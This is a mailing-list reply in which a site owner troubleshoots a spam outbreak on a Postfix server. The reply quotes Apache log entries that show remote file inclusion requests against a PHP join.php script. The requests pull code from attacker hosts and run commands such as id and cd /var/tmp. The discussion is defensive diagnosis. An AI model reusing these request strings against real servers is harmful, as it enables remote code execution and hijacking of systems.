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Re: Postfix hit again (Spam)



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On Tue, 23 May 2006 08:45:30 +0100 Paul Howarth <paul city-fan org> wrote:

> On Mon, 2006-05-22 at 23:11 -0400, CodeHeads wrote:
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> > On Tue, 23 May 2006 00:14:32 +0000
> > replies-lists-redhat listmail innovate net wrote:
> > > i haven't been following this topic in great detail, but i suspect that
> > > you have a form on your site that is being exploited for "form spam".
> > > if you're not familiar with this, search google for "form spam".
> > > 
> > >    - Rick
> > 
> > 
> > Rick,
> > Thank you, No, I have not heard of this.
> 
> I don't think that's what this is. Form spam takes advantage of
> poorly-coded mail/contact forms and uses them to send mail to recipients
> other than those intended by the form designer.
> 
> What's happening here is that the spammer is running their own code
> (downloaded into /tmp) to send the mail, a rather more serious
> situation.
> 
> Paul.
> 
I might not know too much but I really think they are using my forms.  I found
quite a few log entries. Here are a few.
81.199.173.8 - - [22/May/2006:18:57:51 -0400]
"POST /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://www.tiffefermaintfashion.com/gbook/tmp/xzblog.txt?
HTTP/1.0" 200 5923

AOL:
172.179.33.217 - - [21/May/2006:07:58:01 -0400]
"GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=id
HTTP/1.1" 200 2374
172.179.33.217 - - [21/May/2006:07:58:20 -0400]
"GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=w
HTTP/1.1" 200 2412
172.179.33.217 - - [21/May/2006:07:58:34 -0400]
"GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=cd%20/var/tmp
HTTP/1.1" 200 2323

And the xpl.netmisphere2.com site has hacking information:
http://xpl.netmisphere2.com/  I think this outta be illegal!!
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